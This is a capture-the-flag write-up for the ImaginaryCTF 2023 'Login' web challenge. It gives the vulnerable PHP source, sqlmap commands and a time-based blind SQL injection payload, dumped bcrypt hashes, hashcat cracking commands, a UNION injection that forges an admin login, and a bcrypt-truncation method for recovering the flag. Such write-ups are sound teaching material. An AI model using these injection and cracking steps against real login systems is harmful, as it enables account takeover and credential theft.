CTF Writeups
WebsiteDiscordSocials..
  • CryptoCat's CTF writeups
  • 2025
    • Tsuku
      • Web
        • len_len
        • Flash
        • YAMLwaf
    • CTF@CIT
      • Web
        • Breaking Authentication
        • Commit & Order: Version Control Unit
        • How I Parsed your JSON
        • Mr. Chatbot
        • Keeping Up with the Credentials
  • 2024
    • CryptoCat
      • Summar-AI-ze
    • Intigriti
      • Warmup
        • BabyFlow
        • In Plain Sight
        • IrrORversible
        • Layers
        • Rigged Slot Machine 1
      • Game
        • Bug Squash 1
        • Bug Squash 2
      • Rev
        • Secure Bank
      • Web
        • Biocorp
        • Cat Club
        • Pizza Paradise
        • SafeNotes 2.0
      • Misc
        • Quick Recovery
        • Triage Bot 2
      • Pwn
        • Floormat Sale
        • Retro2Win
        • Rigged Slot Machine 2
        • UAP
      • Crypto
        • Schrodinger's Pad
      • Mobile
        • Cold Storage
      • OSINT
        • No Comment
        • Trackdown
        • Trackdown 2
      • Forensics
        • CTF Mind Tricks
        • Hoarded Flag
        • Password Management
    • CSAW
      • Web
        • Playing on the Backcourts
        • Log Me In
        • Lost Pyramid
        • BucketWars
    • CyberSpace
      • Web
        • Feature Unlocked
    • UIU
      • Web
        • Fare Evasion
        • Log Action
    • Wani
      • Web
        • Bad Worker
        • PoW
        • One Day One Letter
    • Akasec
      • Web
    • HTB Cyber Apocalypse
      • Web
        • Flag Command
        • TimeKORP
        • KORP Terminal
        • Labyrinth Linguist
        • Locktalk
        • SerialFlow
        • Testimonial
  • 2023
    • Intigriti
      • Gamepwn
        • Dark Secrets
      • Misc
        • Triage Bot
      • OSINT
        • Photographs
      • Pwn
        • Floormat Store
      • Web
        • Bug Report Repo
        • My Music
    • Imaginary
      • Web
        • Blank
        • IDORiot
        • Inspection
        • Login
        • Perfect Picture
        • Roks
    • Google
      • Pwn
        • Write-Flag-Where
    • Cyber Apocalypse
      • AI
        • Last Hope
        • Mysterious Learning
      • Crypto
        • Perfect Synchronization
      • Pwn
        • Getting Started
        • Labyrinth
        • Pandora's Box
        • Void
      • Rev
        • Cave System
        • Hunting License
        • Needle in a Haystack
        • Shattered Tablet
        • She Sells Sea Shells
    • Sekai
      • Rev
        • Azusawa's Gacha World
    • Amateurs
      • Web
        • Sanity
        • Waiting an Eternity
    • NahamCon
      • Web
        • Hidden Figures
        • Marmalade 5
        • Obligatory
        • Star Wars
        • Stickers
    • Angstrom
      • Pwn
        • Leek
  • 2022
    • Imaginary (iCTF)
      • Crypto
        • ASE
      • Pwn
        • Links 1
        • Links 2
        • Links 3
        • Open Doors
    • SEETF
      • Pwn
        • 4mats
        • Easy Overflow
      • Rev
        • BabyReeee
      • Web
        • Super-Secure-Requests-Forwarder
    • HTB Cyber Apocalypse
      • Pwn
        • Hellbound
    • Angstrom
      • Pwn
        • Really Obnoxious Problem
        • Wah
        • Whats My Name
        • Where Am I
      • Web
        • Crumbs
        • Xtra Salty Sardines
    • NahamCon
      • Pwn
        • Baby Steps
      • Web
        • Flaskmetal Alchemist
        • Hacker Ts
        • Two for One
    • Pico
      • Forensics
        • Side Channel
      • Pwn
        • Buffer Overflow 1
        • Buffer Overflow 2
        • Buffer Overflow 3
        • Flag Leak
        • Function Overwrite
        • ROPfu
        • RPS
        • Stack Cache
        • Wine
        • X-Sixty-What
      • Rev
        • Wizardlike
      • Web
        • Noted
    • Space Heroes
      • Pwn
        • Vader
      • Web
        • Flag in Space
    • Intigriti
      • Pwn
        • Bird
        • Cake
        • Easy Register
        • Search Engine
    • Dice
      • Pwn
        • Interview Opportunity
  • 2021
    • Pico
      • Pwn
        • Unsubscriptions Are Free
    • Crusaders of Rust (COR)
      • Crypto
        • Fibinary
      • Pwn
        • Chainblock
    • HTB Cyber Santa
      • Crypto
        • Meet Me Halfway
        • Xmas Spirit
      • Pwn
        • Minimelfistic
        • Mr. Snowy
        • Naughty List
        • Sleigh
      • Rev
        • Infiltration
        • Intercept
    • K3rn3l
      • Crypto
        • Badseed
        • Twizzty Buzzinezz
    • HTB x Synack RedTeamFive
      • Misc
        • Context
        • Hotel
      • Pwn
        • Air Supplies
        • Injection Shot
        • Library
        • Recruitment
      • Rev
        • Knock Knock
        • Split
    • KillerQueen
      • Pwn
        • A Kind of Magic
        • Tweety Birb
        • Zoom2Win
    • HacktivityCon
      • Pwn
        • Retcheck
        • The Library
        • Yabo
      • Web
        • Availability
    • CSAW
      • Pwn
        • Alien Math
        • Password Checker
      • Rev
        • Checker
    • HackyHolidays
      • Crypto
        • Cute Invoice
        • Mineslazer
      • Forensics
        • Injection Traffic
        • Power Snacks
      • Pwn
        • Deleted Flag
        • Engine Control
      • Web
        • Skylark
    • HTB Cyber Apocalypse
      • Crypto
        • Phasestream
      • Misc
        • Alien Camp
        • Build Yourself In
      • Pwn
        • Controller
        • System Drop
      • Web
        • Blitzprop
        • E-Tree
        • Wild Goose Hunt
    • Angstrom
      • Pwn
        • Sanity Checks
        • Secure Login
        • Sticky Stacks
        • Tranquil
      • Rev
        • Free Flags
        • Jailbreak
      • Web
        • Jar
Powered by GitBook
On this page
  • Description
  • Recon
  • Solution
  1. 2023
  2. Imaginary
  3. Web

Login

Writeup for Login (Web) - Imaginary (2023) 💜

Description

A classic PHP login page, nothing special.

Recon

Try to login with admin:admin and get Invalid username or password.

View page source and find a comment.

<!-- /?source -->

Aight so let's check http://login.chal.imaginaryctf.org/?source

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
    $password .= $flag;
}

if ($username && $password) {
    $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
    if (!$res) {
        $msg = "Invalid username or password";
    } else if (password_verify($password, $res['pwhash'])) {
        $u = htmlentities($res['username']);
        $msg = "Welcome $u! But there is no flag here :P";
        if ($res['username'] === 'admin') {
            $msg .= "<!-- magic: $magic -->";
        }
    } else {
        $msg = "Invalid username or password";
    }
}

So the $flag will be appended to the $password if we provide the correct $magic value as a GET parameter, e.g. http://login.chal.imaginaryctf.org/?aabbccdd11223344

As the $msg indicates, logging in as the admin will not provide the flag. It will give us the $magic value we need but we'll still need a way to recover the flag.

Solution

I go straight for sqlmap, feeding the POST login request as a file.

sqlmap -r new.req --batch

We quickly find our vuln.

Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: username=admin' AND 7431=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- bqUp&password=admin

Let's exploit it to get the admin's password, then we can login and get the magic value! Start off finding the tables.

sqlmap -r new.req --batch --tables
+-------+
| users |
+-------+

Now we can use --columns to narrow it down further.

sqlmap -r new.req --batch -T users --columns

However, I decided to guess instead.

sqlmap -r new.req --batch -T users -C password --dump
+----------+
| password |
+----------+
| <blank>  |
| <blank>  |
+----------+

Guess we need pwhash instead, then we can crack it.

sqlmap -r new.req --batch -T users -C pwhash --dump
+--------------------------------------------------------------+
| pwhash                                                       |
+--------------------------------------------------------------+
| $2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S. |
| $2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC |
+--------------------------------------------------------------+

Let's confirm the hash type.

hashid '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

We check the mode in hashcat and put the hashes into a file called "hash".

hashcat -h | grep -i blowfish
3200 | bcrypt $2*$, Blowfish (Unix

Time to crack (I have the rockyou.txt wordlist in an environment variable)!

hashcat -m 3200 hash $rockyou

It said it would take 2 days in my VM so I switched to windows (GPU), reduced time to ~10 hours.

hashcat.exe -m 3200 hashes/hashes.txt wordlists/rockyou.txt

Not likely to be intended lol. I guess we could half the time by only trying to crack the admin password. I ran SQLMap again and dumped the users; guest and admin.

Note, we can login as guest:guest but just get Welcome guest! But there is no flag here :P.

 SELECT * FROM table
 WHERE Username = 'xxx'
 UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS Password'

Took some trial and error but eventually:

guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --

So the full SQL statement on the backend will look like.

$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = 'guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --'", true);

Essentially, it's grabbing the admin user along with the guest password hash (which we know translates to guest). We login (username set to our SQLi payload and the password is guest). Our magic value is in the source!

Welcome admin! But there is no flag here :P<!-- magic: 688a35c685a7a654abc80f8e123ad9f0 -->

Now we know that visiting http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0 will trigger the following code, appending the flag to the password.

if (isset($_GET[$magic])) {
    $password .= $flag;
}

Note: I didn't finish this challenge but let me finish the writeup for the sake of completion.

Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.

So, we can combine our first exploit (selecting any known password hash with SQLi) with the truncation vulnerability.

We submit the bcrypt hash of (71 * A) + flag_char as the password, where flag_char is looping through all printable ASCII chars.

If the login is successful, we've cracked that character of the flag and we can now do (70 * A) + flag_char, until we have the full flag.

Doing so would recover our flag.

Flag: ictf{why_are_bcrypt_truncating_my_passwords?!}

PreviousInspectionNextPerfect Picture

Last updated 4 months ago

Maybe

Nope, didn't work for me. Maybe

It looks good! According to we can select a username, along with a "fake" password hash of our choice.

There's a recently closed : password_hash documentation: Caution about bcrypt max password length of 72 should mention bytes instead of characters

Apparently, this was covered in a from IppSec. There's a included with f0rk3b0mb's 💜

Password_verify() always return true with some hash
SQL Injection with password_verify()
this answer
github issue
recent video
solve script
writeup